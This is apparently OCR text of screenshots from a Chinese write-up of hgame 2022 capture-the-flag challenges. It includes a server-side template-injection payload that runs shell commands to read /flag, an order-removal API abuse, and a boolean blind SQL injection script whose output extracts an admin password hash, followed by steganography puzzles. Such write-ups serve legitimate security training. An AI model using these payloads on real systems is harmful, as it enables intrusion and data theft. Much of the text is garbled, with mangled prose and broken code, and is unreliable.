= @ @@ Post data Referer User Agent Cookies Clear All r =i AT
“SDN @36 7
\ = o =L . 2 v,
A EPESE SR Tie Sl N3 A B U L USSP R GRS
146.56.223.34:60036/redirect.ph; X 146.56.223.34:60036/redirectph; X | +
<« @ O & 146.56.223.34 B
Summa3r F2rhil
EHEERFRAE, NSRS
fusrflocal/bin/php Array
B

AER HackBar

Encryption v Encoding v SQL~ XSS~ Other ~

g Load URL hiip://146.56.223.34.60036/redirect.php?url={{{"which php"]imap("system")}}
0 spiit URL
‘ +) Execute
Post data Referer User Agent Cookies Clear All

redirect.php?url={{["/usr/local/bin/php /flag | base64"]|map("system")}}




146.56.223.34:60036/redirect.ph; X 146.56.223.34:60036/redirect.ph; * +

. = & O 8 146.56.223.34:60036/redirect.php?url={["/usr/local/bin/php /flag | base64"]|map("system )3}

Summa3r 2ty

EAEETFIR, EEEERSr=s 2
aGdhbWV7IVR3IMTktUzVOMKX4xc16zMDBPMESfaWa0ZXIzc 3QxbjV+X0K Array

25

HackBar

Encryption + Encoding ~ SQL ~ XSS~ Other =

@ Load URL hitp:/f146.56 223 34:60036/redirect. php?url={{["fusr/local/bin/php /Mlag | base64"]map("system")}}
g.g Split URL
Execute
: [] Postdata [] Referer [] User Agent [] Cookies Clear All . -

PS C:UsersAdministrator> php -r "var_dump(base64 decode('aGdhbWV7IVR3MTktUzVOMX4xc15zMDBPMESfaW50ZXIzc3QxbjV+IXe
K'));"

Command line code:1:
string(42) "hgame{!Twl9-S5t1~1s"s00000 inter3stin5~!}"
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R

B cUsers\Administrator\Downloads\JS_2\webpackisrcviews\Order.vue (S, J5_1, J5_2) - Sublime Text (UNREGISTERED)

File Edit Selection Find View Goto Tools Project Preferences
FOLDERS b | orerwe
A s

v @ webpack

/% apifs
/% axiosjs
/+ httpjs
v @ router
/% indexjs
v (@ store
/% indexjs
> B viens
[ Appvue
[ Appwvuebces
3 AppvueBect

/% mainjs
v (@ webpack
(3 boststrap
» s
v w2

v (@ webpack
v (@ node_modules
v @@ cores

v (@ intemals

array-method-has-species-supportjs

‘* array-species-constructors

* array-species-createjc

/% create-propertyjs

* is-amayjs
v (@ modules
/% esamay.concatis
M ES
v [ views
3 Aboutwvue
[ Aboutvues14a
[ AboutvuecdSa
O3 Category.vue
[ Category.vuef5dT
[ Ordervue
[ OrdervueSdad
[ Ordervuebiad

O Line 1, Column 1

A ix BRI

Help

Find Results

methods: {
GetList() {
let that =
this.$http
.post(
this.$api.Order.list,

this;

uid: this.$store.state.userInfo.id,

IS

true

)
-then((res)
that.list

Nk
1

MakePay(item) {
let that = this;
this.$http
.post(
this.$api.Pay.create,

uid: this.$store.state.userInfo.id,
oid: item.id,
amount: item.amount,

I3

true

)
.then((res) => {
if (res) {
Toast.success("XfT5EM");
that.GetList();
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Request

[ Raw  \n  Actions v

1 POST /api/user/register HTTP/1.1
2 Host: bab4d?422a. vidar—shop. mjclouds. com

3 User—Agent: Mozilla/5.0 (Windows NT 10.0; Winé4; x64; rv:96.0) Gecko/20100101 Firefox/96.0

4 Accept: application/json, text/plain, */*

5 Accept-Language: zh-CN, zh;q=0. 8, zh-TW; q=0. 7, zh~H
6 Accept-Encoding: gzip, deflate

7 Content-Type: application/json

8 Content-Length: 77

9 Origin: http://bab4d9422a. vidar-shop. mjc|ouds. com
10 Connection: close

“gender":1,
"mobile":"18888888666",
"password": "1234567890"

;6=0.5, en-US;q=0. 3, en; g=0. 2

Response

[ER0d Raw Render \n  Actions v
1 HTTP/1.1 200 0K

2 Server: nginx

3 Date: Fri, 04 Feb 2022 05:51:59 GNT

4 Content-Type: application/json

5 Content-Length: 62

6 Connection: close

7 Access-Control-Al low-Credentials: true

8 Access—Control-Al low-Headers: Content-Type, Origin, X-CSRF-Token, Authorization, AccessToken,
9 Access—Control-Al low-Methods: GET, HEAD, POST, PATCH, PUT, DELETE

10 Access—Control-Allow-Origin: http://bab4d9422a. vidar-shop. mjclouds. com

11 Access-Control-Expose-Headers: Gontent-Length, Access-Control-Allow-Origin, Access-Control-Allow-Headers
12 Access-Control-Max-Age: 86400

13 Vary: Origin
14 X-Trace-Id:
15 Cache-Control :
16

17 {

YOLOadsSNI

Token, Range

©362b1efe503686c9c536d03258b4fcc
no-cache

d":226,
"mochu777",

"gender”:1,
"mobile":"18888888666"
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¥ shopping-mall X +

« - € ¢ O 8 bab4d9422avidar-shop.mjclouds.com/#/category

BiE

[Flag] hgamefooood
¥10000 001000000

ik 09546 &

[#18E] #=
¥20.00%20.00

5 9998395 4

[#281=] #=
¥20.00%2000

5 9999901 4

[#3805F] #=
¥40.00%40.00

5 9999891 44

[#ag1=E] #=
¥40.00%40.00

5 9999919 44
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¥ shopping-mall x4 = X
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PES
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¥ shopping-mall x o+ - X
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¥ shopping-mall x|+ - X
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CSDN @31 4]

AR BBCHIT R, IR MMES

¥ shopping-mall x | + - X
« G O R bab4d9422avidar-shop.miclouds.com/#/order o L 0% o e =
TEFIE
ID: 2872 P=amID: 4 £F: 10000 W& T
ID: 2873 P=mID: 5 =8 20 & BT il

CSDN @31 7))

Request Response
[ Raw  \n Actions v [B Rew Render \n  Actions v
1 POST /api/order/remove HTTP/1.1 1 HTTP/1.1 200 OK



2 Host: babdd9422a. vidar-shop.mjclouds. com
3 User—Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:96.0) Gecko/20100101 Firefox/96.0
4 Accept: application/json, text/plain, */*

5 Accept-Language: zh—CN, zh;q=0.8, zh-TW;q=0.7, zh-HK:a=0. 5, en-US;=0. 3, en:q=0. 2

6 Accept—Enceding: gzip, deflate
7 Content-Type: application/json

2 Server: nginx

3 Date: Fri, 04 Feb 2022 06:34:03 GMT
4 Content-Type: application/json

5 Content-Length: 2

& Connection: close

7 Access—Control-Al low—Credentials: true
rol-All : Content-Type, Origin, X-CSRF-Token, Authorization, AccessToken,

™

8 Authorization: bearer eyJhbGciOiJIUzI1NilsInR5cCI61kpXVCJP. eyJleHAiO |l 0TI
9 Content-Length: 11
10 Origin: http://babdd9422a. vidar—shop. mjclouds. com
11 Connection: close
12 Referer: http://bab4d9422a. vidar-shop. mjclouds. com/
13
14
“id":2873
}

TYOMzk

Ikl jou

9 Access—Control-Al low-Methods: GET, HEAD, POST, PATCH, PUT, DELETE
10 Access—Control-Allow=Origin: http://bab4d9422a. vidar-shop. mjclouds. con

Token, Range

11 Access—Control-Expose-Headers: Content-Length, Access-Control-Allow-Origin, Access-Control-Allow-Headers

12 Access—Control-Max—Age: 86400
13 Vary: Origin
14 X-Trace-Id: 9639cfdd46d6d3f9bbe3194113b40457
15 Cache-Control: no-cache
16
17 {
}

P 7 —MTHid, 22aUEEON T RS REAT 1 10id,  teinflag i #id

¥ shopping-mal x4

<« € C O R bab4d9422avidarshop.mjclouds.com/#/me

BT flagiT S MEBIK S RBUE, KA 7, EfkKfag, SOAERIET BT S 2 flag

¥ shopping-mall % +

&« € C

U 8 bab4d9422a.vidar-shop.mjclouds.com/#/category

(=i

[Flag] hgame{ddOfaieae8bab9444a96784c3965005975274d10af509ecd013aa36d58068cdi}

¥10000.00%10000.00

% 99544 (%
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YOng 2022/2/5 02:05:27

mochu? 2022/2/5 06:30:59

Login Me
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PR B4 T A hintf 1B A

’2 record not found

[0.101ms] [ 0] SELECT WHERE (username = 'test') and

| 205 | 198.756ps | 127.0.0.1 || '/ ooin”




81906c3039.login.summ3rtopol X -+

212

c3039.login.summ3rtop:600

€« > € C O

admin WSEFEFZHTEE flag, A BFEFE?

username X Hadminflltesti /N, I H AT DL A X B i N

"username":" in' and ! 'mochu7"}

m Cancel | < |¥|

Request Response

(G Raw \n  Actions v (G Raw Render \n  Actions v

1 POST /login HTTP/1.1 1 HTTP/1.1 200 OK

7 Host: 81906c3039. login. summ3r. top: 60067 2 Server: nginx/1.21.5

3 User-Agent: Mozilla/5.0 (Windows NT 10.0: Winé4; x64: rv:96.0) Gecko/20100101 Firefox/96.0 3 Date: Sat, 05 Feb 2022 02:10:48 GMT

4 Accept: application/json, text/plain, */* 4 Content-Type: application/jsaon; charset=utf-8
5 Accept-Language: zh-CN, zh;q=0. 8, zh-TW;q=0. 7, zh-HK;q=0. 5, en-US; q=0. 3, en; q=0. 2 5 Content-Length: 18

6 Accept-Encoding: gzip, deflate & Connection: close

7 Content-Type: application/json 7 Set-Cookie: SESSION=MTYONDAyNzAOOHxEdi1CQkFFQ180
g Content-Length: 48 8

9 Origin: http://81906c3039. login. summ3r. top: 60067 9

10 Connection: close "msg": "success!”

11 Referer: http://81906c3039. login. summ3r. top: 60067/ }
12 Cookie: SESSION=MTYONDAyN jI5MXxEdi1C0kFFQ180SUFBUKFCRUFBQUI2LUNBQUVHYzNSeWFXNWSEQV IBQkhWe | pYSUd jM1J5YVc1bkRBNUFCSF.

13
14 {

"username":"admin' and '1",

"password": "mochu7"

CSDN @35 )

Request Response
Raw \n Actions v Raw FRender \n Actions v
1 POST /login HTTP/1.1 1 HTTP/1.1 403 Forbidden
? Host: 81906c3039. login. summ3r. top: 60067 2 Server: nginx/1.21.5
3 User—-Agent: Mozilla/5.0 (Windows NT 10.0; Win&4; x&4; rv:96.0) Gecko/20100101 Firefox/96.0 3 Date: Sat, 05 Feb 2022 02:10:29 GMT
4 Accept: application/json, text/plain, */* 4 Content-Type: application/json; charset=utf-8
5 Accept-Language: zh-CN, zh;q=0. 8, zh-TW;g=0. 7, zh-HK:q=0. 5, en-US;q=0. 3, en;g=0. 2 5 Content-Length: 38
4 Accept-Encoding: gzip, deflate & Connection: close
7 Content-Type: application/json 7
8 Content-Length: 48 8{
9 Origin: http://B1906c3039. login. summ3r. top: 60067 "msg":"invalid username or password”
10 Connection: close }
11 Referer: http://81906c3039. login. summ3r. top: 600467/
12 Cookie: SESSION=MTYONDAyNj|5MXxEdi1CQkFFQ180SUFBUKFCRUFBAUIZLUNBQUVHY zNSeWF XNWSEQV IBQkhWe | pYSUd jM1J5YVe 1bkREWUFCSF.
13
14 {

"username"”: "admin' and '0",

"password” : "mochu7"

} CSDN @3 )

EEFEEE RN, ENBEERMIREERFE: {"msg":"success!"} , JENIBIEHIR, B0E P A IRITERR

[B]: {"msg":"invalid username or password"}

E 3 HE R DX 20 O it 2 0 RV NAB RIS, IE R IR AN e i 3 1, RON#ERSZIR B {"msg": "invalid username or
password"} , 35 IR

i 2 IR IUZ B iF MIZ2AT AR
AT AL LARTI S id—XMySQLIE A St

FH case when [express] then [x] else [y] end {1 iffiftg&qt kT

1

ername" :"admin'and case when 1=1 then 1 else © end and

, 'password":



https://blog.csdn.net/mochu7777777/article/details/120576924

Request

Raw \n Actions v

POST /login HTTP/1.1

Host: 81906c3039. login. summ3r. top: 60067

User—Agent: Mozilla/5.0 (Windows NT 10.0; Winéd; x64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: application/json, text/plain, */%

Accept-Language: zh—-CN, zh;q=0. 8, zh-TW;g=0. 7, zh-HK; g=0. 5, en-US;q=0. 3, en;g=0. 2
Accept-Encoding: gzip, deflate

Content-Type: application/json

Content-Length: 83

Origin: http://81906c3039. login. summ3r. top: 60067

Connection: close

Referer: http://81906c3039. login. summ3r. top: 60067/

Cookie: SESSION=MTYONDAyN jI5MXxEdi1CQkFFQ180SUFBUKFCRUFBQU I 2LUNBQUVHYzNSeWFXNWSEQV | BQkhWe | pYSUd jM1J5Y Ve 1bkRBWUFCSF

{
"username"”:"admin ' and case when 1=1 then 1 else 0 end and '1",
"password” : "mochu7"

o B R =

AWM = O 0@

R o <

Response

Raw Render \n Actions v

HTTP/1.1 200 OK

Server: nginx/1.21.5

Date: Sat, 05 Feb 2022 10:28:46 GMT
Content-Type: application/json; charset=utf-8
Content-Length: 18

Connection: close

Set-Cookie: SESSION=MTYONDA1N jkyNnxEdi1COkFFQ180

{
"msg

|

B N R R

o]

:"success!”

Request

Raw \n  Actions v

1 POST /leogin HTTP/1.1

2 Host: B1906c3039. login. summ3r. top: 60067

3 User—Agent: Mozilla/5.0 (Windows NT 10.0; Winéd; x64; rv:96.0) Gecko/20100101 Firefox/96.0
4 Accept: application/json, text/plain, */%

5 Accept-Language: zh—CN, zh;g=0. 8, zh-TW;q=0. 7, zh-HK; g=0. 5, en-US;q=0. 3, en;q=0. 2
& Accept—Encoding: gzip, deflate

7 Content-Type: application/json

B Content-Length: 83

9 Origin: http://81906c3039. login. summ3r. top: 60067

10 Connection: close

11 Referer: http://81906c3039, login. summ3r. top: 60067/

12 Cookie: SESSION=MTYONDAyN j|5MXxEdi1COkFFQ180SUFBUKFCRUFBAUIZLUNBQUVHY zNSeWF XNWSEQY | BOkhWe | pYSUd jM1J5YVe1bkRBWUFCSF.

Response

1 HTTP/1.1 403 Ferbidden

2 Server: nginx/1.21.5

3 Date: Sat, 05 Feb 2022 10:29:38 GMT

4 Content-Type: application/json; charset=utf-8
5 Content-Length: 38

6 Connection: close

Actions v

8 |
S

!

:"invalid username or password”

13
14
"username"”: "admin'and case when 1=2 then 1 else 0 end and '1"
"password”: "mochu7"
CSDMN @51
H #E Aradminffpassword

import requests

_ '0123456789abcdef’
burp®_url = "http://81906c3039.1login.summ3r.top:60067/login"
burp@_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:96.0) Gecko/20100101 Firefox/96.0",
"Accept": "application/json, text/plain, */*",
"zh-CN,zh;q=0.8,zh-TW;g=0.7,zh-HK;g=0.5,en-US;g=0.3,en;gq=0.2",
"gzip, deflate”,

"Accept-Language":
"Accept-Encodi

"Content-Type": "application/json"}

password = ""

for i in range(1, 3

for s in asc_str:
payload = "admin'and case when substr(password,{},1)="{}' then 1 else @ end and '1".format(i, s)
burp@_json={"password":

"mochu?7", "username": payload}

resp = requests.post(burp® url, headers=burp@ headers, json=burp@ json)

if ‘'success' in resp.text:
password += s

print(password)



PS C:\Users\Administrator\Desktop> python .\exp.py
<

59

595

5957

59578

59578a

59578a3

59578a38

59578a3688

59578a3086

59578a3886a

59578a3086a8

59578a3086abe

59578a3086a0e7

59578a3086a0e76
59578a3086a0e767
59578a30886a08eT7671
59578a3086a8e7671d
59578a3086a0e7671d0
59578a3086a0e7671d68
59578a3086a0e7671dB82
59578a3086a0e7671dB82a
59578a3086a0e7671dB82al
59578a3086a0e7671de82alU7
59578a3086aRe7671dB82au76
59578a3086a0e7671d082al761
59578a3086a0e7671dB82au761f
59578a3086a0e7671de82aU761f0
59578a3086a0e7671dB82au761f08
59578a3086a0e7671d682al761f882
59578a3086a0e7671dB82auU761f0827
59578a3086a0e7671de82aUl761f0827e
PS C:\Users\Administrator\Desktop> |

Hadminllk 5, R)515Fflag

81906c3039.login.summ3rtopme’ X +
« (& O & 81906c3039.ogin.summ3rtop:60067/flag

hgame {4b47b8b252b 7238461 446799320242 9F 32244088 3820d2chARN0A2065 331 E5E]
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PowerShell

cd Downloads/
1s
1.txt api.php desktop.ini flagl.png flag.zip gift gift.rar main.go source source.zip ' {TOP SECRET} 2' ' {TOP SECRET} 2.zip' waw.zip EER.zip  #E. pptx
binwalk Ek=.zip

DECIMAL HEXADECIMAL DESCRIPTION

oxe Zip archive data, encrypted at least v2.8 to extract, compressed size: 1071, uncompressed size: 1654, name: CTF.png
Bx218F End of Zip archive, footer length: 22
Bx21A5 PNG image, 1501 x 7u8, 8-bit/color RGBA, non-interlaced
0x2208 Zlib compressed data, default compression
1852388 Ox1CU3EY Z1lib compressed data, default compression

foremost X .zip
Processing: Bk .zip
| foundat=CTF . pngO0ge¢
4, uinn(e
odesse
foundat=+¢¢.pngup

foundat=¢¢.pngup
foundat=9¢. pngup

*
|
tree output/

output/

audit.txt

png

L— eeeeee16.png
L— zip

L— ooe0EOB0.Zip

2 directories, 3 files
cd output/png/
file 00000016.png
©00000016.png: PNG image data, 1561 x 7u8, 8-bit/color RGBA, non-interlaced
binwalk 86868816.png

DECIMAL HEXADECIMAL DESCRIPTION

(] oxe PNG image, 1561 x 748, 8-bit/color RGBA, non-interlaced
99 0x63 Zlib compressed data, default compression
1843775 ©x1C223F Z1lib compressed data, default compression
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struct PHG_CHUNE. Critical, Publis, Unsafe to Copy)
struct PHG_CHUNE (Critical, Public, Unsafe to Copy)
=truct PNG_CHINK (Critical, Public, Umzafe to Copy)
struct PHG_CHUNE Critioal, Publis, Unsafe to Copy)
struct PHG_CHUNK (Critical, Public, Unsafe to Copy)

(Critical, Public, Umsafe to Copy)
(Critical, Public, Unsafe to Copy)
(Critical, Public, Unsafe to Copy)
(Critical, D
Critical, Public, Unsafe to Copy)
(Critical, Public, Unsafe to Copy)
(Critical, Public, Unsafe to Copy)
(Criticsl, Publie, Unsafs to Copy)
(Critical, Fublic, Unsafe to Copy)
(Critical, Fublic, Unsafe to Copy)
(Criticsl, Publie, Unsafs to Copy)
(Critical, Fublic, Unsafe to Copy)
(Critical, Fublic, Unsafe to Copy) 1BEACFR
(Criticel, Publie, Unsafs to Copy) 1COADER.
(bmcillary, Private, Unsafe to Copy) 1cze0nh
(meillery, Private, Unzafe to Copy) 1c2233h
(dneillary, Private, Unsafe to Copy) 14243k
(hncillary, Private, Unsafe to Copy) 106253k
(meillery, Private, Unzafe to Copy) 1caza3h
(dneillary, Private, Unsafe to Copy) 1cA273h
(hnoillary, Private, Vnsafe to Copy) 1cczazh
(meillery, Private, Unzafe to Copy) 1CE293R
(dneillary, Private, Unsafe to Copy) 100243k
(hncillary, Private, Unsafe to Copy) 1nz2B3h
(meillery, Private, Unzafe to Copy) 10423k
A (dneillary, Private, Unsafe to Copy) 106203k,
struct FNG_CHINE (dnoillary, Private, Unsafe to Copy) 1p8zEzh




MEER kA W% e apng » JH apng disassembler )&

apngframe2.xt

apngframe2.png

apngframel.txt

apngframel.png

o
|&| apngframel.png 2022/2/18 16:48 PNG 30 1,791 KB
B zpngframel.nd 2022/2/18 16:48 TXT =i 1KB
|&| apngframe2.png 2022/2/18 16:48 PNG 30 1,669 KB
Bl zpngframe2.oat 2022/2/18 16:48 TXT =i 1KB
BRI, KANA—FE, I KE
B¥ powershell X PN - X

PS D:\Tools\Misc\BlindWaterMark> python .\bumforpy3.py decode .\apngframe2.png .\apngframel.png flag.png
image<.\apngframe2.png> + image(encoded)<.\apngframel.png> -> watermark<flag.png>
PS D:\Tools\Misc\BlindwaterMark>

[ StegSolve 1.3 by Caesum

File Analyse Help

olour Inversion (Xor)

15 AELENY:  4Cc*owfga76
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BB H) e 4Eig4r 2k uh 3. hitps:/products.aspose.app/barcode/recognize#

Barcode Reader Online

Upload your image, choose the barcode type or leave “All types” and click on “Read Barcode” button.

Powered by aspose.com and aspose.cloud

Another image

EXMERIRET, SAERES, B O,
HZ, B, TEREHSETERR e new

Change recognition settings

B sxemEennET, sASRE:, Soks. W, TERS

- - Sublime Text (UNREGISTERED)
File Edit Selection Find View Goto Tools

Project Preferences  Help

fitk
BEREIREANAE

A
=
s
b
=X

F25: https://330k.github.io/misc_tools/unicode_steganography.html

Text in Text Steganography Sample

Original Text: [ Clear] (length: 171)

Steganography Text: [ Clear | m length: 395)

LRAEE, SR, B, JHE?Ig WETT SR ERFR, 10 T%JﬁK o, égﬂﬁzﬂ 1T FE MR BT, 75/\ E gﬁ}ﬁy BASRR0L, ﬂfﬂﬁg MER TSR R, a7 F L ETEN 4, TEARM
. . mifa st JoEi) HIREEE, REREX PoiteFEAE 2h0(a 5 jdizke A 8 TFOF M, Bl Rrizhofal 35 =k #iNEpE, AEREN, BLBoREaEEE.
FihA, BAANTETE R AE, T8 AR, CTFE?K B R0 T A, §A)\§BTHTERTIZ¢LH:@ ATE AR AT, CTFQNQ H i B A,
]
Hidden Text (length: 28)
hganedl_W4nT_T0_ply_rOTten]
Vi

Download Stego Text as File
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https://products.aspose.app/barcode/recognize#
https://330k.github.io/misc_tools/unicode_steganography.html

AOMAYES{RITROOR RN B AT DB =R

EIEAOMAThint F1 —EEFHEImiscEl
https://actue-1308188104.cos.ap-shanghai.mygcloud.com/Weekd/qgift.rar

SEESE 300

dit
it
LA

CSDN @3F 4]

B H 2 RAREZE Y, ] winrar

gift.rar

ntfsstreamseditor 31— F, KIINTFSI R 44

NtfsStreamsEditor2 — a >

EH/E% ©=s ez @ ee

Pz il gL

e "
iy w Paz| &

O Bt e C:\Users\ Administrator Download Ii

HEg R A0.015 s
* X HRAEHR FAET)  TEEES)

(] C:\Users\Administrator\Downloads\gift\gift\gift. mp4:hide.txt hide. bt 369 1

CSDN @3 4]

k44 Ll 2= AtomIT 41
4 up left down up right down up left up down right down up left down up right down up left up down right down up

left down up right up down left up down right down up left down up right down up left up down right down up lef]
t up down down up up down right down up left up down right up down left up down right down up left up down right

up

gift.mpa YA, HUBAYIBE ARG 21— M5 B

& hgame-wood-road-cross - main.go & 0BS Studio 27.1.3 (64-bit, windows) - BEE#E: 6. € 127.0.0.1:8889 - Google Chrome € #Em - Google Chrome




B 2785: Windows PowerShell @ Termius - Filnig-B2

gift2.avi WKATREMEH T msu steg, {HJE msu steg MRMITC M 75 B — AN 74D
NTFST R SR BT 4, ARG — 4Tk, 2 L T AR TR, FZm T —TF

CSDN@FE]

R ] 2515 2 —ANHIR, BARBIER RN 2, JHI AT e A Al A i Ar

M aR4TTR, GRAAE 1-4 B ED, SN Ret PUdth], JCR s b M ALl TRk

4
up left down 2

up right down 4
up left up 1
down right down 4




up left down 2
up right down 4
up left up 1
down right down
up left down 2
up right up 3
down left up 1
down right down
up left down 2
up right down 4
up left up 1
down right down
up left up 1
down down 2

up up 1

down right down
up left up 1
down right up 3
down left up 1
down right down
up left up 1
down right up 3

424142414231424141214131413pN @5 4]

133 — 4, Pythonfi] B A AT 3] — HR
from binascii import *

data = '424142414231424141214131413"
quater_num = "'
for n in data:

quater_num += str(int(n)-1)

flag = unhexlify(hex(int(quater_num, 4))[2:])
print(flag)

PS C:UsersAdministratorDownloadsgiftgift> python
b'7767122"




MSU Stego

MSU StegoVideo - extracting info... — X
MSU Stego
s ¥ .
Version 1.0 . MSU StegoVideo *
Average FPS: 312.50 frames per second @ TR
Time elapsed: Omin  0sec
Time left: Omin 0sec

Processing frame: 150f 15 =
=]

Cancel | Next »>> |

CSDN @3k )
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